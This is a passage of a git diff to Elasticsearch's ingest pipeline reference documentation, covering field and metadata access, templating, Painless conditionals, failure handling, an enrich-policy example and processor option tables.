-The processors in a pipeline have read and write access to documents that pass through the pipeline. -The processors can access fields in the source of a document and the document's metadata fields. - -[discrete] -[[accessing-source-fields]] -=== Accessing Fields in the Source -Accessing a field in the source is straightforward. You simply refer to fields by -their name. For example: - -[source,js] --------------------------------------------------- -{ - "set": { - "field": "my_field", - "value": 582.1 - } -} --------------------------------------------------- -// NOTCONSOLE - -On top of this, fields from the source are always accessible via the `_source` prefix: - -[source,js] --------------------------------------------------- -{ - "set": { - "field": "_source.my_field", - "value": 582.1 - } -} --------------------------------------------------- -// NOTCONSOLE - -[discrete] -[[accessing-metadata-fields]] -=== Accessing Metadata Fields -You can access metadata fields in the same way that you access fields in the source. This -is possible because Elasticsearch doesn't allow fields in the source that have the -same name as metadata fields. - -The following metadata fields are accessible by a processor: - -* `_index` -* `_id` -* `_routing` - -The following example sets the `_id` metadata field of a document to `1`: - -[source,js] --------------------------------------------------- -{ - "set": { - "field": "_id", - "value": "1" - } -} --------------------------------------------------- -// NOTCONSOLE - -You can access a metadata field's value by surrounding it in double -curly brackets `"{{ }}"`. For example, `{{_index}}` retrieves the name of a -document's index. - -WARNING: If you <> -document IDs, you cannot use the `{{_id}}` value in an ingest processor. {es} -assigns auto-generated `_id` values after ingest. - -[discrete] -[[accessing-ingest-metadata]] -=== Accessing Ingest Metadata Fields -Beyond metadata fields and source fields, ingest also adds ingest metadata to the documents that it processes. -These metadata properties are accessible under the `_ingest` key. Currently ingest adds the ingest timestamp -under the `_ingest.timestamp` key of the ingest metadata. The ingest timestamp is the time when Elasticsearch -received the index or bulk request to pre-process the document. - -Any processor can add ingest-related metadata during document processing. Ingest metadata is transient -and is lost after a document has been processed by the pipeline. Therefore, ingest metadata won't be indexed. - -The following example adds a field with the name `received`. The value is the ingest timestamp: - -[source,js] --------------------------------------------------- -{ - "set": { - "field": "received", - "value": "{{_ingest.timestamp}}" - } -} --------------------------------------------------- -// NOTCONSOLE - -Unlike Elasticsearch metadata fields, the ingest metadata field name `_ingest` can be used as a valid field name -in the source of a document. Use `_source._ingest` to refer to the field in the source document. Otherwise, `_ingest` -will be interpreted as an ingest metadata field. - -[discrete] -[[accessing-template-fields]] -=== Accessing Fields and Metafields in Templates -A number of processor settings also support templating. Settings that support templating can have zero or more -template snippets. A template snippet begins with `{{` and ends with `}}`. -Accessing fields and metafields in templates is exactly the same as via regular processor field settings. - -The following example adds a field named `field_c`. Its value is a concatenation of -the values of `field_a` and `field_b`. - -[source,js] --------------------------------------------------- -{ - "set": { - "field": "field_c", - "value": "{{field_a}} {{field_b}}" - } -} --------------------------------------------------- -// NOTCONSOLE - -The following example uses the value of the `geoip.country_iso_code` field in the source -to set the index that the document will be indexed into: - -[source,js] --------------------------------------------------- -{ - "set": { - "field": "_index", - "value": "{{geoip.country_iso_code}}" - } -} --------------------------------------------------- -// NOTCONSOLE - -Dynamic field names are also supported. This example sets the field named after the -value of `service` to the value of the field `code`: - -[source,js] --------------------------------------------------- -{ - "set": { - "field": "{{service}}", - "value": "{{code}}" - } -} --------------------------------------------------- -// NOTCONSOLE - -[[ingest-conditionals]] -== Conditional Execution in Pipelines - -Each processor allows for an optional `if` condition to determine if that -processor should be executed or skipped. The value of the `if` is a -<> script that needs to evaluate -to `true` or `false`. - -For example the following processor will <> the document -(i.e. not index it) if the input document has a field named `network_name` -and it is equal to `Guest`. - -[source,console] --------------------------------------------------- -PUT _ingest/pipeline/drop_guests_network -{ - "processors": [ - { - "drop": { - "if": "ctx.network_name == 'Guest'" - } - } - ] -} --------------------------------------------------- - -Using that pipeline for an index request: - -[source,console] --------------------------------------------------- -POST test/_doc/1?pipeline=drop_guests_network -{ - "network_name" : "Guest" -} --------------------------------------------------- -// TEST[continued] - -Results in nothing indexed since the conditional evaluated to `true`. - -[source,console-result] --------------------------------------------------- -{ - "_index": "test", - "_id": "1", - "_version": -3, - "result": "noop", - "_shards": { - "total": 0, - "successful": 0, - "failed": 0 - } -} --------------------------------------------------- - - -[[ingest-conditional-nullcheck]] -=== Handling Nested Fields in Conditionals - -Source documents often contain nested fields. Care should be taken -to avoid NullPointerExceptions if the parent object does not exist -in the document. For example `ctx.a.b.c` can throw an NullPointerExceptions -if the source document does not have top level `a` object, or a second -level `b` object. - -To help protect against NullPointerExceptions, null safe operations should be used. -Fortunately, Painless makes {painless}/painless-operators-reference.html#null-safe-operator[null safe] -operations easy with the `?.` operator. - -[source,console] --------------------------------------------------- -PUT _ingest/pipeline/drop_guests_network -{ - "processors": [ - { - "drop": { - "if": "ctx.network?.name == 'Guest'" - } - } - ] -} --------------------------------------------------- - -The following document will get <> correctly: - -[source,console] --------------------------------------------------- -POST test/_doc/1?pipeline=drop_guests_network -{ - "network": { - "name": "Guest" - } -} --------------------------------------------------- -// TEST[continued] - -Thanks to the `?.` operator the following document will not throw an error. -If the pipeline used a `.` the following document would throw a NullPointerException -since the `network` object is not part of the source document. - -[source,console] --------------------------------------------------- -POST test/_doc/2?pipeline=drop_guests_network -{ - "foo" : "bar" -} --------------------------------------------------- -// TEST[continued] - -//// -Hidden example assertion: -[source,console] --------------------------------------------------- -GET test/_doc/2 --------------------------------------------------- -// TEST[continued] - -[source,console-result] --------------------------------------------------- -{ - "_index": "test", - "_id": "2", - "_version": 1, - "_seq_no": 22, - "_primary_term": 1, - "found": true, - "_source": { - "foo": "bar" - } -} --------------------------------------------------- -// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term": 1/"_primary_term" : $body._primary_term/] -//// - -The source document can also use dot delimited fields to represent nested fields. - -For example instead the source document defining the fields nested: - -[source,js] --------------------------------------------------- -{ - "network": { - "name": "Guest" - } -} --------------------------------------------------- -// NOTCONSOLE - -The source document may have the nested fields flattened as such: -[source,js] --------------------------------------------------- -{ - "network.name": "Guest" -} --------------------------------------------------- -// NOTCONSOLE - -If this is the case, use the <> -so that the nested fields may be used in a conditional. - -[source,console] --------------------------------------------------- -PUT _ingest/pipeline/drop_guests_network -{ - "processors": [ - { - "dot_expander": { - "field": "network.name" - } - }, - { - "drop": { - "if": "ctx.network?.name == 'Guest'" - } - } - ] -} --------------------------------------------------- - -Now the following input document can be used with a conditional in the pipeline. - -[source,console] --------------------------------------------------- -POST test/_doc/3?pipeline=drop_guests_network -{ - "network.name": "Guest" -} --------------------------------------------------- -// TEST[continued] - -The `?.` operators works well for use in the `if` conditional -because the {painless}/painless-operators-reference.html#null-safe-operator[null safe operator] -returns null if the object is null and `==` is null safe (as well as many other -{painless}/painless-operators.html[painless operators]). - -However, calling a method such as `.equalsIgnoreCase` is not null safe -and can result in a NullPointerException. - -Some situations allow for the same functionality but done so in a null safe manner. -For example: `'Guest'.equalsIgnoreCase(ctx.network?.name)` is null safe because -`Guest` is always non null, but `ctx.network?.name.equalsIgnoreCase('Guest')` is not null safe -since `ctx.network?.name` can return null. - -Some situations require an explicit null check. In the following example there -is not null safe alternative, so an explicit null check is needed. - -[source,js] --------------------------------------------------- -{ - "drop": { - "if": "ctx.network?.name != null && ctx.network.name.contains('Guest')" - } -} --------------------------------------------------- -// NOTCONSOLE - -[[ingest-conditional-complex]] -=== Complex Conditionals -The `if` condition can be more complex than a simple equality check. -The full power of the <> is available and -running in the {painless}/painless-ingest-processor-context.html[ingest processor context]. - -IMPORTANT: The value of ctx is read-only in `if` conditions. - -A more complex `if` condition that drops the document (i.e. not index it) -unless it has a multi-valued tag field with at least one value that contains the characters -`prod` (case insensitive). - -[source,console] --------------------------------------------------- -PUT _ingest/pipeline/not_prod_dropper -{ - "processors": [ - { - "drop": { - "if": "Collection tags = ctx.tags;if(tags != null){for (String tag : tags) {if (tag.toLowerCase().contains('prod')) { return false;}}} return true;" - } - } - ] -} --------------------------------------------------- - -The conditional needs to be all on one line since JSON does not -support new line characters. However, Kibana's console supports -a triple quote syntax to help with writing and debugging -scripts like these. - -[source,console] --------------------------------------------------- -PUT _ingest/pipeline/not_prod_dropper -{ - "processors": [ - { - "drop": { - "if": """ - Collection tags = ctx.tags; - if(tags != null){ - for (String tag : tags) { - if (tag.toLowerCase().contains('prod')) { - return false; - } - } - } - return true; - """ - } - } - ] -} --------------------------------------------------- -// TEST[continued] - -or it can be built with a stored script: - -[source,console] --------------------------------------------------- -PUT _scripts/not_prod -{ - "script": { - "lang": "painless", - "source": """ - Collection tags = ctx.tags; - if(tags != null){ - for (String tag : tags) { - if (tag.toLowerCase().contains('prod')) { - return false; - } - } - } - return true; - """ - } -} -PUT _ingest/pipeline/not_prod_dropper -{ - "processors": [ - { - "drop": { - "if": { "id": "not_prod" } - } - } - ] -} --------------------------------------------------- -// TEST[continued] - -Either way, you can run it with: - -[source,console] --------------------------------------------------- -POST test/_doc/1?pipeline=not_prod_dropper -{ - "tags": ["application:myapp", "env:Stage"] -} --------------------------------------------------- -// TEST[continued] - -The document is <> since `prod` (case insensitive) -is not found in the tags. - -The following document is indexed (i.e. not dropped) since -`prod` (case insensitive) is found in the tags. - -[source,console] --------------------------------------------------- -POST test/_doc/2?pipeline=not_prod_dropper -{ - "tags": ["application:myapp", "env:Production"] -} --------------------------------------------------- -// TEST[continued] - -//// -Hidden example assertion: -[source,console] --------------------------------------------------- -GET test/_doc/2 --------------------------------------------------- -// TEST[continued] - -[source,console-result] --------------------------------------------------- -{ - "_index": "test", - "_id": "2", - "_version": 1, - "_seq_no": 34, - "_primary_term": 1, - "found": true, - "_source": { - "tags": [ - "application:myapp", - "env:Production" - ] - } -} --------------------------------------------------- -// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/] -//// - - - -The <> with verbose can be used to help build out -complex conditionals. If the conditional evaluates to false it will be -omitted from the verbose results of the simulation since the document will not change. - -Care should be taken to avoid overly complex or expensive conditional checks -since the condition needs to be checked for each and every document. - -[[conditionals-with-multiple-pipelines]] -=== Conditionals with the Pipeline Processor -The combination of the `if` conditional and the <> can result in a simple, -yet powerful means to process heterogeneous input. For example, you can define a single pipeline -that delegates to other pipelines based on some criteria. - -[source,console] --------------------------------------------------- -PUT _ingest/pipeline/logs_pipeline -{ - "description": "A pipeline of pipelines for log files", - "version": 1, - "processors": [ - { - "pipeline": { - "if": "ctx.service?.name == 'apache_httpd'", - "name": "httpd_pipeline" - } - }, - { - "pipeline": { - "if": "ctx.service?.name == 'syslog'", - "name": "syslog_pipeline" - } - }, - { - "fail": { - "if": "ctx.service?.name != 'apache_httpd' && ctx.service?.name != 'syslog'", - "message": "This pipeline requires service.name to be either `syslog` or `apache_httpd`" - } - } - ] -} --------------------------------------------------- - -The above example allows consumers to point to a single pipeline for all log based index requests. -Based on the conditional, the correct pipeline will be called to process that type of data. - -This pattern works well with a <> defined in an index mapping -template for all indexes that hold data that needs pre-index processing. - -[[conditionals-with-regex]] -=== Conditionals with the Regular Expressions -The `if` conditional is implemented as a Painless script, which requires -{painless}//painless-regexes.html[explicit support for regular expressions]. - -`script.painless.regex.enabled: true` must be set in `elasticsearch.yml` to use regular -expressions in the `if` condition. - -If regular expressions are enabled, operators such as `=~` can be used against a `/pattern/` for conditions. - -For example: - -[source,console] --------------------------------------------------- -PUT _ingest/pipeline/check_url -{ - "processors": [ - { - "set": { - "if": "ctx.href?.url =~ /^http[^s]/", - "field": "href.insecure", - "value": true - } - } - ] -} --------------------------------------------------- - -[source,console] --------------------------------------------------- -POST test/_doc/1?pipeline=check_url -{ - "href": { - "url": "http://www.elastic.co/" - } -} --------------------------------------------------- -// TEST[continued] - -Results in: - -//// -Hidden example assertion: -[source,console] --------------------------------------------------- -GET test/_doc/1 --------------------------------------------------- -// TEST[continued] -//// - -[source,console-result] --------------------------------------------------- -{ - "_index": "test", - "_id": "1", - "_version": 1, - "_seq_no": 60, - "_primary_term": 1, - "found": true, - "_source": { - "href": { - "insecure": true, - "url": "http://www.elastic.co/" - } - } -} --------------------------------------------------- -// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/] - - -Regular expressions can be expensive and should be avoided if viable -alternatives exist. - -For example in this case `startsWith` can be used to get the same result -without using a regular expression: - -[source,console] --------------------------------------------------- -PUT _ingest/pipeline/check_url -{ - "processors": [ - { - "set": { - "if": "ctx.href?.url != null && ctx.href.url.startsWith('http://')", - "field": "href.insecure", - "value": true - } - } - ] -} --------------------------------------------------- - -[[handling-failure-in-pipelines]] -== Handling Failures in Pipelines - -In its simplest use case, a pipeline defines a list of processors that -are executed sequentially, and processing halts at the first exception. This -behavior may not be desirable when failures are expected. For example, you may have logs -that don't match the specified grok expression. Instead of halting execution, you may -want to index such documents into a separate index. - -To enable this behavior, you can use the `on_failure` parameter. The `on_failure` parameter -defines a list of processors to be executed immediately following the failed processor. -You can specify this parameter at the pipeline level, as well as at the processor -level. If a processor specifies an `on_failure` configuration, whether -it is empty or not, any exceptions that are thrown by the processor are caught, and the -pipeline continues executing the remaining processors. Because you can define further processors -within the scope of an `on_failure` statement, you can nest failure handling. - -The following example defines a pipeline that renames the `foo` field in -the processed document to `bar`. If the document does not contain the `foo` field, the processor -attaches an error message to the document for later analysis within -Elasticsearch. - -[source,js] --------------------------------------------------- -{ - "description" : "my first pipeline with handled exceptions", - "processors" : [ - { - "rename" : { - "field" : "foo", - "target_field" : "bar", - "on_failure" : [ - { - "set" : { - "field" : "error.message", - "value" : "field \"foo\" does not exist, cannot rename to \"bar\"" - } - } - ] - } - } - ] -} --------------------------------------------------- -// NOTCONSOLE - -The following example defines an `on_failure` block on a whole pipeline to change -the index to which failed documents get sent. - -[source,js] --------------------------------------------------- -{ - "description" : "my first pipeline with handled exceptions", - "processors" : [ ... ], - "on_failure" : [ - { - "set" : { - "field" : "_index", - "value" : "failed-{{ _index }}" - } - } - ] -} --------------------------------------------------- -// NOTCONSOLE - -Alternatively instead of defining behaviour in case of processor failure, it is also possible -to ignore a failure and continue with the next processor by specifying the `ignore_failure` setting. - -In case in the example below the field `foo` doesn't exist the failure will be caught and the pipeline -continues to execute, which in this case means that the pipeline does nothing. - -[source,js] --------------------------------------------------- -{ - "description" : "my first pipeline with handled exceptions", - "processors" : [ - { - "rename" : { - "field" : "foo", - "target_field" : "bar", - "ignore_failure" : true - } - } - ] -} --------------------------------------------------- -// NOTCONSOLE - -The `ignore_failure` can be set on any processor and defaults to `false`. - -[discrete] -[[accessing-error-metadata]] -=== Accessing Error Metadata From Processors Handling Exceptions - -You may want to retrieve the actual error message that was thrown -by a failed processor. To do so you can access metadata fields called -`on_failure_message`, `on_failure_processor_type`, `on_failure_processor_tag` and -`on_failure_pipeline` (in case an error occurred inside a pipeline processor). -These fields are only accessible from within the context of an `on_failure` block. - -Here is an updated version of the example that you -saw earlier. But instead of setting the error message manually, the example leverages the `on_failure_message` -metadata field to provide the error message. - -[source,js] --------------------------------------------------- -{ - "description" : "my first pipeline with handled exceptions", - "processors" : [ - { - "rename" : { - "field" : "foo", - "to" : "bar", - "on_failure" : [ - { - "set" : { - "field" : "error.message", - "value" : "{{ _ingest.on_failure_message }}" - } - } - ] - } - } - ] -} --------------------------------------------------- -// NOTCONSOLE - - -include::enrich.asciidoc[] - - -[[ingest-processors]] -== Processors - -All processors are defined in the following way within a pipeline definition: - -[source,js] --------------------------------------------------- -{ - "PROCESSOR_NAME" : { - ... processor configuration options ... - } -} --------------------------------------------------- -// NOTCONSOLE - -Each processor defines its own configuration parameters, but all processors have -the ability to declare `tag`, `on_failure` and `if` fields. These fields are optional. - -A `tag` is simply a string identifier of the specific instantiation of a certain -processor in a pipeline. The `tag` field does not affect the processor's behavior, -but is very useful for bookkeeping and tracing errors to specific processors. - -The `if` field must contain a script that returns a boolean value. If the script evaluates to `true` -then the processor will be executed for the given document otherwise it will be skipped. -The `if` field takes an object with the script fields defined in <> -and accesses a read only version of the document via the same `ctx` variable used by scripts in the -<>. - -[source,js] --------------------------------------------------- -{ - "set": { - "if": "ctx.foo == 'someValue'", - "field": "found", - "value": true - } -} --------------------------------------------------- -// NOTCONSOLE - -See <> to learn more about the `if` field and conditional execution. - -See <> to learn more about the `on_failure` field and error handling in pipelines. - -The <> will provide a per node list of what processors are available. - -Custom processors must be installed on all nodes. The put pipeline API will fail if a processor specified in a pipeline -doesn't exist on all nodes. If you rely on custom processor plugins make sure to mark these plugins as mandatory by adding -`plugin.mandatory` setting to the `config/elasticsearch.yml` file, for example: - -[source,yaml] --------------------------------------------------- -plugin.mandatory: ingest-attachment --------------------------------------------------- - -A node will not start if this plugin is not available. - -The <> can be used to fetch ingest usage statistics, globally and on a per -pipeline basis. Useful to find out which pipelines are used the most or spent the most time on preprocessing. - -[discrete] -=== Ingest Processor Plugins - -Additional ingest processors can be implemented and installed as Elasticsearch {plugins}/intro.html[plugins]. -See {plugins}/ingest.html[Ingest plugins] for information about the available ingest plugins. - -include::processors/append.asciidoc[] -include::processors/bytes.asciidoc[] -include::processors/circle.asciidoc[] -include::processors/community-id.asciidoc[] -include::processors/convert.asciidoc[] -include::processors/csv.asciidoc[] -include::processors/date.asciidoc[] -include::processors/date-index-name.asciidoc[] -include::processors/dissect.asciidoc[] -include::processors/dot-expand.asciidoc[] -include::processors/drop.asciidoc[] -include::processors/enrich.asciidoc[] -include::processors/fail.asciidoc[] -include::processors/fingerprint.asciidoc[] -include::processors/foreach.asciidoc[] -include::processors/geoip.asciidoc[] -include::processors/grok.asciidoc[] -include::processors/gsub.asciidoc[] -include::processors/html_strip.asciidoc[] -include::processors/inference.asciidoc[] -include::processors/join.asciidoc[] -include::processors/json.asciidoc[] -include::processors/kv.asciidoc[] -include::processors/lowercase.asciidoc[] -include::processors/network-direction.asciidoc[] -include::processors/pipeline.asciidoc[] -include::processors/remove.asciidoc[] -include::processors/rename.asciidoc[] -include::processors/script.asciidoc[] -include::processors/set.asciidoc[] -include::processors/set-security-user.asciidoc[] -include::processors/sort.asciidoc[] -include::processors/split.asciidoc[] -include::processors/trim.asciidoc[] -include::processors/uppercase.asciidoc[] -include::processors/url-decode.asciidoc[] -include::processors/uri-parts.asciidoc[] -include::processors/user-agent.asciidoc[] diff --git a/docs/reference/ingest/match-enrich-policy-type-ex.asciidoc b/docs/reference/ingest/match-enrich-policy-type-ex.asciidoc new file mode 100644 index 0000000000000..c289a555b1d5b --- /dev/null +++ b/docs/reference/ingest/match-enrich-policy-type-ex.asciidoc @@ -0,0 +1,151 @@ +[role="xpack"] +[testenv="basic"] +[[match-enrich-policy-type]] +=== Example: Enrich your data based on exact values + +`match` <> match enrich data to incoming +documents based on an exact value, such as a email address or ID, using a +<>. + +The following example creates a `match` enrich policy that adds user name and +contact information to incoming documents based on an email address. It then +adds the `match` enrich policy to a processor in an ingest pipeline. + +Use the <> or <> to create a source index. + +The following index API request creates a source index and indexes a +new document to that index. + +[source,console] +---- +PUT /users/_doc/1?refresh=wait_for +{ + "email": "mardy.brown@asciidocsmith.com", + "first_name": "Mardy", + "last_name": "Brown", + "city": "New Orleans", + "county": "Orleans", + "state": "LA", + "zip": 70116, + "web": "mardy.asciidocsmith.com" +} +---- + +Use the create enrich policy API to create an enrich policy with the +`match` policy type. This policy must include: + +* One or more source indices +* A `match_field`, + the field from the source indices used to match incoming documents +* Enrich fields from the source indices you'd like to append to incoming + documents + +[source,console] +---- +PUT /_enrich/policy/users-policy +{ + "match": { + "indices": "users", + "match_field": "email", + "enrich_fields": ["first_name", "last_name", "city", "zip", "state"] + } +} +---- +// TEST[continued] + +Use the <> to create an +enrich index for the policy. + +[source,console] +---- +POST /_enrich/policy/users-policy/_execute +---- +// TEST[continued] + + +Use the <> to create an ingest +pipeline. In the pipeline, add an <> that +includes: + +* Your enrich policy. +* The `field` of incoming documents used to match documents + from the enrich index. +* The `target_field` used to store appended enrich data for incoming documents. + This field contains the `match_field` and `enrich_fields` specified in your + enrich policy. + +[source,console] +---- +PUT /_ingest/pipeline/user_lookup +{ + "processors" : [ + { + "enrich" : { + "description": "Add 'user' data based on 'email'", + "policy_name": "users-policy", + "field" : "email", + "target_field": "user", + "max_matches": "1" + } + } + ] +} +---- +// TEST[continued] + +Use the ingest pipeline to index a document. The incoming document should +include the `field` specified in your enrich processor. + +[source,console] +---- +PUT /my-index-000001/_doc/my_id?pipeline=user_lookup +{ + "email": "mardy.brown@asciidocsmith.com" +} +---- +// TEST[continued] + +To verify the enrich processor matched and appended the appropriate field data, +use the <> to view the indexed document. + +[source,console] +---- +GET /my-index-000001/_doc/my_id +---- +// TEST[continued] + +The API returns the following response: + +[source,console-result] +---- +{ + "found": true, + "_index": "my-index-000001", + "_id": "my_id", + "_version": 1, + "_seq_no": 55, + "_primary_term": 1, + "_source": { + "user": { + "email": "mardy.brown@asciidocsmith.com", + "first_name": "Mardy", + "last_name": "Brown", + "zip": 70116, + "city": "New Orleans", + "state": "LA" + }, + "email": "mardy.brown@asciidocsmith.com" + } +} +---- +// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term":1/"_primary_term" : $body._primary_term/] + +//// +[source,console] +-------------------------------------------------- +DELETE /_ingest/pipeline/user_lookup +DELETE /_enrich/policy/users-policy +-------------------------------------------------- +// TEST[continued] +//// diff --git a/docs/reference/ingest/processors.asciidoc b/docs/reference/ingest/processors.asciidoc new file mode 100644 index 0000000000000..70e3123171640 --- /dev/null +++ b/docs/reference/ingest/processors.asciidoc @@ -0,0 +1,73 @@ +[[processors]] +== Ingest processor reference +++++ +Processor reference +++++ + +{es} includes several configurable processors. To get a list of available +processors, use the <> API. + +[source,console] +---- +GET _nodes/ingest?filter_path=nodes.*.ingest.processors +---- + +The pages in this section contain reference documentation for each processor. + +[discrete] +[[ingest-process-plugins]] +=== Processor plugins + +You can install additional processors as {plugins}/ingest.html[plugins]. + +You must install any plugin processors on all nodes in your cluster. Otherwise, +{es} will fail to create pipelines containing the processor. + +Mark a plugin as mandatory by setting `plugin.mandatory` in +`elasticsearch.yml`. A node will fail to start if a mandatory plugin is not +installed. + +[source,yaml] +---- +plugin.mandatory: ingest-attachment +---- + +include::processors/append.asciidoc[] +include::processors/bytes.asciidoc[] +include::processors/circle.asciidoc[] +include::processors/community-id.asciidoc[] +include::processors/convert.asciidoc[] +include::processors/csv.asciidoc[] +include::processors/date.asciidoc[] +include::processors/date-index-name.asciidoc[] +include::processors/dissect.asciidoc[] +include::processors/dot-expand.asciidoc[] +include::processors/drop.asciidoc[] +include::processors/enrich.asciidoc[] +include::processors/fail.asciidoc[] +include::processors/fingerprint.asciidoc[] +include::processors/foreach.asciidoc[] +include::processors/geoip.asciidoc[] +include::processors/grok.asciidoc[] +include::processors/gsub.asciidoc[] +include::processors/html_strip.asciidoc[] +include::processors/inference.asciidoc[] +include::processors/join.asciidoc[] +include::processors/json.asciidoc[] +include::processors/kv.asciidoc[] +include::processors/lowercase.asciidoc[] +include::processors/network-direction.asciidoc[] +include::processors/pipeline.asciidoc[] +include::processors/registered-domain.asciidoc[] +include::processors/remove.asciidoc[] +include::processors/rename.asciidoc[] +include::processors/script.asciidoc[] +include::processors/set.asciidoc[] +include::processors/set-security-user.asciidoc[] +include::processors/sort.asciidoc[] +include::processors/split.asciidoc[] +include::processors/trim.asciidoc[] +include::processors/uppercase.asciidoc[] +include::processors/url-decode.asciidoc[] +include::processors/uri-parts.asciidoc[] +include::processors/user-agent.asciidoc[] diff --git a/docs/reference/ingest/processors/append.asciidoc b/docs/reference/ingest/processors/append.asciidoc index 839fec7e4eaaa..919cf92ec2ec6 100644 --- a/docs/reference/ingest/processors/append.asciidoc +++ b/docs/reference/ingest/processors/append.asciidoc @@ -15,8 +15,8 @@ Accepts a single value or an array of values. [options="header"] |====== | Name | Required | Default | Description -| `field` | yes | - | The field to be appended to. Supports <>. -| `value` | yes | - | The value to be appended. Supports <>. +| `field` | yes | - | The field to be appended to. Supports <>. +| `value` | yes | - | The value to be appended. Supports <>. | `allow_duplicates` | no | true | If `false`, the processor does not append values already present in the field. include::common-options.asciidoc[] @@ -27,7 +27,7 @@ include::common-options.asciidoc[] { "append": { "field": "tags", - "value": ["production", "{{app}}", "{{owner}}"] + "value": ["production", "{{{app}}}", "{{{owner}}}"] } } -------------------------------------------------- diff --git a/docs/reference/ingest/processors/circle.asciidoc b/docs/reference/ingest/processors/circle.asciidoc index b59c78b81e63d..d04d12e584245 100644 --- a/docs/reference/ingest/processors/circle.asciidoc +++ b/docs/reference/ingest/processors/circle.asciidoc @@ -57,6 +57,8 @@ The circle can be represented as either a WKT circle or a GeoJSON circle. The re polygon will be represented and indexed using the same format as the input circle. WKT will be translated to a WKT polygon, and GeoJSON circles will be translated to GeoJSON polygons. +IMPORTANT: Circles that contain a pole are not supported. + ==== Example: Circle defined in Well Known Text In this example a circle defined in WKT format is indexed diff --git a/docs/reference/ingest/processors/common-options.asciidoc b/docs/reference/ingest/processors/common-options.asciidoc index dcf8b63630b4b..b29b1cb78cae3 100644 --- a/docs/reference/ingest/processors/common-options.asciidoc +++ b/docs/reference/ingest/processors/common-options.asciidoc @@ -1,5 +1,5 @@ -| `if` | no | - | Conditionally execute this processor. -| `on_failure` | no | - | Handle failures for this processor. See <>. -| `ignore_failure` | no | `false` | Ignore failures for this processor. See <>. -| `tag` | no | - | An identifier for this processor. Useful for debugging and metrics. -// TODO: See <>. <-- for the if description once PR 35044 is merged \ No newline at end of file +| `description` | no | - | Description of the processor. Useful for describing the purpose of the processor or its configuration. +| `if` | no | - | Conditionally execute the processor. See <>. +| `ignore_failure` | no | `false` | Ignore failures for the processor. See <>. +| `on_failure` | no | - | Handle failures for the processor. See <>. +| `tag` | no | - | Identifier for the processor. Useful for debugging and metrics. \ No newline at end of file diff --git a/docs/reference/ingest/processors/convert.asciidoc b/docs/reference/ingest/processors/convert.asciidoc index 073c7933647b8..0c915a75038f8 100644 --- a/docs/reference/ingest/processors/convert.asciidoc +++ b/docs/reference/ingest/processors/convert.asciidoc @@ -7,17 +7,20 @@ Converts a field in the currently ingested document to a different type, such as converting a string to an integer. If the field value is an array, all members will be converted. -The supported types include: `integer`, `long`, `float`, `double`, `string`, `boolean`, and `auto`. +The supported types include: `integer`, `long`, `float`, `double`, `string`, `boolean`, `ip`, and `auto`. Specifying `boolean` will set the field to true if its string value is equal to `true` (ignore case), to false if its string value is equal to `false` (ignore case), or it will throw an exception otherwise. -Specifying `auto` will attempt to convert the string-valued `field` into the closest non-string type. +Specifying `ip` will set the target field to the value of `field` if it contains a valid IPv4 or IPv6 address +that can be indexed into an <>. + +Specifying `auto` will attempt to convert the string-valued `field` into the closest non-string, non-IP type. For example, a field whose value is `"true"` will be converted to its respective boolean type: `true`. Do note that float takes precedence of double in `auto`. A value of `"242.15"` will "automatically" be converted to -`242.15` of type `float`. If a provided field cannot be appropriately converted, the Convert Processor will +`242.15` of type `float`. If a provided field cannot be appropriately converted, the processor will still process successfully and leave the field value as-is. In such a case, `target_field` will -still be updated with the unconverted field value. +be updated with the unconverted field value. [[convert-options]] .Convert Options diff --git a/docs/reference/ingest/processors/date-index-name.asciidoc b/docs/reference/ingest/processors/date-index-name.asciidoc index b1096600173ec..a25e954224a9f 100644 --- a/docs/reference/ingest/processors/date-index-name.asciidoc +++ b/docs/reference/ingest/processors/date-index-name.asciidoc @@ -133,11 +133,11 @@ understands this to mean `2016-04-01` as is explained in the <>. -| `date_rounding` | yes | - | How to round the date when formatting the date into the index name. Valid values are: `y` (year), `M` (month), `w` (week), `d` (day), `h` (hour), `m` (minute) and `s` (second). Supports <>. +| `index_name_prefix` | no | - | A prefix of the index name to be prepended before the printed date. Supports <>. +| `date_rounding` | yes | - | How to round the date when formatting the date into the index name. Valid values are: `y` (year), `M` (month), `w` (week), `d` (day), `h` (hour), `m` (minute) and `s` (second). Supports <>. | `date_formats` | no | yyyy-MM-dd+++'T'+++HH:mm:ss.SSSXX | An array of the expected date formats for parsing dates / timestamps in the document being preprocessed. Can be a java time pattern or one of the following formats: ISO8601, UNIX, UNIX_MS, or TAI64N. | `timezone` | no | UTC | The timezone to use when parsing the date and when date math index supports resolves expressions into concrete index names. | `locale` | no | ENGLISH | The locale to use when parsing the date from the document being preprocessed, relevant when parsing month names or week days. -| `index_name_format` | no | yyyy-MM-dd | The format to be used when printing the parsed date into the index name. A valid java time pattern is expected here. Supports <>. +| `index_name_format` | no | yyyy-MM-dd | The format to be used when printing the parsed date into the index name. A valid java time pattern is expected here. Supports <>. include::common-options.asciidoc[] |====== diff --git a/docs/reference/ingest/processors/date.asciidoc b/docs/reference/ingest/processors/date.asciidoc index ae05afa422c5d..554dc8088a7f1 100644 --- a/docs/reference/ingest/processors/date.asciidoc +++ b/docs/reference/ingest/processors/date.asciidoc @@ -18,8 +18,8 @@ in the same order they were defined as part of the processor definition. | `field` | yes | - | The field to get the date from. | `target_field` | no | @timestamp | The field that will hold the parsed date. | `formats` | yes | - | An array of the expected date formats. Can be a <> or one of the following formats: ISO8601, UNIX, UNIX_MS, or TAI64N. -| `timezone` | no | UTC | The timezone to use when parsing the date. Supports <>. -| `locale` | no | ENGLISH | The locale to use when parsing the date, relevant when parsing month names or week days. Supports <>. +| `timezone` | no | UTC | The timezone to use when parsing the date. Supports <>. +| `locale` | no | ENGLISH | The locale to use when parsing the date, relevant when parsing month names or week days. Supports <>. | `output_format` | no | `yyyy-MM-dd'T'HH:mm:ss.SSSXXX` | The format to use when writing the date to `target_field`. Can be a <> or one of the following formats: ISO8601, UNIX, UNIX_MS, or TAI64N. include::common-options.asciidoc[] |====== @@ -59,8 +59,8 @@ the timezone and locale values. "field" : "initial_date", "target_field" : "timestamp", "formats" : ["ISO8601"], - "timezone" : "{{my_timezone}}", - "locale" : "{{my_locale}}" + "timezone" : "{{{my_timezone}}}", + "locale" : 